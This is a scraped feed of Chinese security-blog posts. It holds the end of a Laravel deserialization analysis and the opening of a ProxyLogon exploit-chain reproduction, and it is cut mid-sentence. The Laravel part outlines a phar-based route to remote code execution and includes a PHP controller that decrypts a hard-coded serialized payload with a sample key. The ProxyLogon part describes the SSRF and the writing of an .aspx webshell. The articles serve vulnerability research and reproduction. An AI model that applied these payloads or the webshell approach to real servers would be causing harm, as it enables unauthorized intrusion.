Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">IgnitionServiceProvider.php</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，对应的web访问路由为</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">/_ignition/execute-solution</span></code></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2949512843224092" data-s="300,640" style="" data-type="png" data-w="1129" src="https://wechat2rss.xlab.app/img-proxy/?k=505d62d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXVuc8yDEOEh4HD27VeRmO6WxibelwRKpNcBJJMof98niadtd5GbweBrww%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">下图是一个清除laravel log日志的payload：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.24933451641526175" data-s="300,640" style="" data-type="png" data-w="1127" src="https://wechat2rss.xlab.app/img-proxy/?k=cd0a6cc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXCC1aqjMAzbYR84QLNvhGNTsftibhWSZUYI0EfQTmnrBh4eKb25sibaWA%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">因为本文主要关注于Laravel中存在反序列化的点，同时后序的利用网上已经有了很多的分析文章了，因此在这里就仅仅介绍一下后序的思路：</span></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.<span style="text-indent: -20px;">通过</span><code style="box-sizing: border-box;padding: 3px 5px;text-indent: -20px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">php filter</code><span style="text-indent: -20px;">对log日志文件的清空和写入，将log文件转换为phar文件格式。</span></span></p><p style="background-color: transparent;text-align: left;"><span style="text-indent: -20px;color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.通过phar协议进行phar的反序列化解析，最终完成RCE。</span></p><h3 style="background-color: transparent;box-sizing: border-box;margin: 40px 10px 20px;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-weight: bold;"><strong>decrypt函数</strong></h3><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">让我们再回到decrypt函数中。可以看到</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">decrypt()</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">中默认传入的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">$unserialize</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">值为</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">true</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，也就是说，如果没有对</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">decrypt()</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">进行了充分的了解，将用户的输入作为</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">$payload</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><span style="color: rgb(63, 63, 63);font-size: 16px;">传入，那么就会在不知情的情况下构造了一个反序列化的点（前提还是需要获取到APP KEY）。</span><span style="color: rgb(63, 63, 63);font-size: 16px;text-indent: -20px;"></span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.49380530973451325" data-s="300,640" style="" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=da74cbe2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXMDJx02EN0ArlAqUm51IdNNrtRROicNBibMBT3K3piaqElu0bdfr0r4Cwg%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">新建一个控制器，并不正当地使用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">decrypt()</code>函数（为了方便，省去了获取内置Encrypter的步骤）。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">DecryptController</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">Controller</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">decrypt</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        $key = <span class="code-snippet__string">&#39;base64:bz9ynRr1smrZsNo7egh3muVHGKVHm9yB2YLrFvjajoE=&#39;</span>;</span></code><code><span class="code-snippet_outer">        $key = base64_decode(substr($key, <span class="code-snippet__number">7</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        $payload = <span class="code-snippet__string">&#34;eyJpdiI6Ik9nTFVFWm81ODdMbHdreVwvXC85UjVyQT09IiwidmFsdWUiOiIrTjgwdnhjZUZhelNwQXFCWjVLTVg4dmdEaWRKMjd5MVNvbHp3MFRnUXFCdE9KZFdNT3I5TnRrM3dnbStUM0NHVTI5Q0pJM21oRmtJZzk4NHJZM1NIclJwamFrMUoxTkE3ZG12YUZiV1FZcUdYZ1dBb2NlcUZET0gxSjk2OTJ2UjRHdW9sZFlJcjFsc3ZoR2JIYXFORUUyYnlCbk4rMnRoRURrZkJuMEpKMVwvYUlDTUp1U2VyQTlNb2hSdlp4NUZkbmU4eVVXTlpjSEI3UGhrOHN1dEdFcHE5dFF3RklWcE1lVTBiSnpiRVZRckI0Z0d4aHU0S2JybER0aGdMSUhEZ0RaUWNPNjY0UDVrU2Z1VlNcLzFNUGdsbFwvNUZEZHlxSlB4a0JIZ0NsQ0E2ajFSdHpWd24wXC82RW5cL1BXNTByXC9kcyIsIm1hYyI6ImRmMmMyMTE1YjhhODI1YmExMjU4MzcwNGIxODc2ZDg5YTg4NDI5NWNkNDBlNDNhZTM0YTdiYWVkY2U5YWFkYzcifQ==&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        $encrypter = <span class="code-snippet__keyword">new</span> Encrypter($key, <span class="code-snippet__string">&#39;AES-256-CBC&#39;</span>);</span></code><code><span class="code-snippet_outer">        var_dump($encrypter-&gt;decrypt($payload));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="background-color: transparent;text-align: left;"><br/><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">可以看到，访问当前路由就能触发反序列化漏洞，造成命令执行。</span></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.18274932614555256" data-s="300,640" style="" data-type="png" data-w="1855" src="https://wechat2rss.xlab.app/img-proxy/?k=d742c002&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXcEzUlP8Ypu4lxciaY9pU4eElfp5SdQzWib5iaqHZ7YN8l4WcibK3ZJIOdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="background-color: transparent;text-align: left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span><br/></p><section style="background-color: transparent;box-sizing: border-box;width: 45px;"><img data-ratio="0.8823529411764706" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="68" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7ac16f38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXVb3OxtHujKXd9IYAfZuP0mz2PjuVoicvzQicoMPmFibf22Jf9qJFdfHIQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="104081"><section style="text-align: left;margin: 10px auto;"><section style="display: flex;justify-content: flex-end;margin-bottom: -23px;"><section style="box-sizing:border-box;width: 40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><img data-ratio="0.7205882352941176" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="68" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=818ba2e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXsuT2ibG0LoI71MYulqAC4WicrkJcfu8RstB8NLjL6lq2kHzkFka6w2MA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="border-bottom: 6px solid rgb(254, 247, 234);border-left: 3px solid rgb(254, 247, 234);border-right: 6px solid rgb(254, 247, 234);border-radius: 10px;box-sizing: border-box;"><section data-autoskip="1" style="border-radius: 10px;padding: 40px 20px 30px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(241, 137, 75);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><h3 cid="n73" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">参考资料</span></h3><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;list-style: circle;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">•<a href="https://www.anquanke.com/post/id/231079" target="_blank">https://www.anquanke.com/post/id/231079</a></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> •<a href="https://xz.aliyun.com/t/9478" target="_blank">https://xz.aliyun.com/t/9478</a></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> •<a href="https://www.anquanke.com/post/id/189718" target="_blank">https://www.anquanke.com/post/id/189718</a></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> •<a href="https://www.anquanke.com/post/id/231459" target="_blank">https://www.anquanke.com/post/id/231459</a></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"></span></p></section></section></section></section><section data-role="paragraph"><p><br/></p></section></section><p><br/></p>



<p><a href="2247484277">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=601c4144&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247484277%26idx%3D1%26sn%3D8380f7e4560126e45f5c55feecc2c2c1%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 24 May 2021 18:43:00 +0800</pubDate>
    </item>
    <item>
      <title>ProxyLogon利用链复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484235&amp;idx=1&amp;sn=a6a85102eb0b865e2e0cc263b4d81e41</link>
      <description>ProxyLogon 利用链复现~~~~~</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2021-04-21 12:38</span> <span style="display: inline-block;"></span>
</p>

<p>ProxyLogon 利用链复现~~~~~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=36a1d8ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQPy4BfstXm3wnmsYHc4BFjxicFzM9ZPfagz5AeMpJqia8sHYfemhxialCw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-tools="135编辑器" data-id="103168" data-color="#757576"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;justify-content: center;align-items: center;"><section style="display: flex;justify-content: center;align-items: flex-start;margin-top: -15px;"><section style="box-sizing: border-box;width: 2px;height: 40px;background: rgb(117, 117, 118);color: rgb(255, 255, 255);overflow: hidden;"><br/></section><section style="box-sizing: border-box;width: 30px;height: 2px;background: rgb(117, 117, 118);color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section><section><p style="font-size: 35px;letter-spacing: 1.5px;color: #757576;"><span style="font-size: 28px;"><strong> ProxyLogon </strong></span></p><p style="font-size: 35px;letter-spacing: 1.5px;color: #757576;"><span style="font-size: 28px;"><strong>利用链复现</strong></span></p><section data-brushtype="text" style="font-size: 13px;color: #757576;">零鉴科技</section></section><section style="display: flex;justify-content: center;align-items: flex-start;margin-top: -15px;"><section style="box-sizing: border-box;width: 30px;height: 2px;background: rgb(117, 117, 118);color: rgb(255, 255, 255);overflow: hidden;"><br/></section><section style="box-sizing: border-box;width: 2px;height: 40px;background: rgb(117, 117, 118);color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section></section></section></section><p><br/></p><section data-role="paragraph" data-color="#757576"><p><br/></p></section><section data-tools="135编辑器" data-id="99864" data-color="#757576"><section style="margin: 10px auto;"><section style="border-width: 5px;border-style: solid;border-color: rgb(117, 117, 118);box-sizing: border-box;"><section style="box-sizing: border-box;"><section style="text-align: center;margin-top: 20px;"><section data-brushtype="text" style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;padding: 10px 2em;color: #ffffff;background: #757576;border-top-left-radius: 15px;border-top-right-radius: 15px;border-bottom-right-radius: 15px;"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>简介</strong></span></section></section><section style="padding: 25px 20px;box-sizing: border-box;"><p cid="n3" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">Proxylogon是CVE-2021-26855漏洞的别名，该漏洞允许攻击者绕过身份验证并冒充管理员，将此漏洞与另一个后身份验证的任意文件写漏洞 CVE-2021-27065 串在一起，可以完成exchange上的RCE。默认情况下，所有受影响的组件都容易受到攻击。</span></p><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">CVE-2021-26855 是一个SSRF 漏洞，问题出现在将客户端请求代理到服务端时，该漏洞可以获取用户的sid，实现了无交互攻击链中最重要的第一步。</span></p><p cid="n5" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">CVE-2021-27065 是一个任意文件写漏洞。虽然不能完全控制要写入的内容，但是文件名与路径可以任意设置，当我们以 .aspx 为后缀创建文件，并在文件中插入一句话木⻢后，就可以实现远程控制。</span></p><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">受影响的Exchange版本：</span></p><ul class="list-paddingleft-2" cid="n7" mdtype="list" data-mark="-" style="padding-left: 30px;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li style="font-size: 14px;"><p cid="n9" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;text-align: left;"><span style="box-sizing: border-box;font-size: 14px;">Exchange Server 2019 &lt; 15.02.0792.010</span></p></li><li style="font-size: 14px;"><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;text-align: left;"><span style="box-sizing: border-box;font-size: 14px;">Exchange Server 2019 &lt; 15.02.0721.013</span></p></li><li style="font-size: 14px;"><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;text-align: left;"><span style="box-sizing: border-box;font-size: 14px;">Exchange Server 2016 &lt; 15.01.2106.013</span></p></li><li style="font-size: 14px;"><p cid="n15" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;text-align: left;"><span style="box-sizing: border-box;font-size: 14px;">Exchange Server 2013 &lt; 15.00.1497.012</span></p></li></ul></section></section></section></section></section><section data-role="paragraph" data-color="#757576"><p><br/></p></section><section data-role="paragraph" data-color="#757576"><p><br/></p></section><section data-tools="135编辑器" data-id="99864" data-color="#757576"><section style="margin: 10px auto;"><section style="border-width: 5px;border-style: solid;border-color: rgb(117, 117, 118);box-sizing: border-box;"><section style="box-sizing: border-box;"><section style="text-align: center;margin-top: 20px;"><section data-brushtype="text" style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;padding: 10px 2em;color: #ffffff;background: #757576;border-top-left-radius: 15px;border-top-right-radius: 15px;border-bottom-right-radius: 15px;"><span style="font-size: 20px;"><strong>原理浅析</strong></span></section></section><section style="padding: 25px 20px;box-sizing: border-box;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><section data-tools="135编辑器" data-id="101975" data-color="#757576"><section style="margin: 10px 2px;text-align: center;"><section style="display: flex;justify-content: center;"><section><section style="border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);border-radius: 30px;display: flex;justify-content: center;box-sizing: border-box;"><section style="border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: flex;justify-content: center;margin: 4px;border-radius: 30px;box-sizing: border-box;"><section data-brushtype="text" style="color: rgb(117, 117, 118);line-height: 1.75em;font-size: 16px;padding: 1px 40px 1px 30px;box-sizing: border-box;"><strong> <strong style="color: rgb(51, 51, 51);font-size: 1.5em;orphans: 4;white-space: pre-wrap;caret-color: red;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">CVE-2021-26855</strong></strong></section></section></section></section></section></section></section><p style="text-align:left;"><span style="color: rgb(51, 51, 51);orphans: 4;white-space: pre-wrap;caret-color: red;font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">本质上是因为Exchange对BackEnd的请求缺乏来源性校验，导致可以通过构造特定结构的Cookies，直接对BackEnd发起请求，造成SSRF。<br/></span></p><p cid="n19" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">利用CVE-2021-26855漏洞时发出的post数据包：</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="136" data-backw="528" data-galleryid="" data-ratio="0.25763016157989227" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1114" src="https://wechat2rss.xlab.app/img-proxy/?k=705cdb53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQibKxsJlDMa2CicAHA4IduibibSuGtDYbVucXWJOGU3jAmQAkqB4JaiaypVA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n21" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear 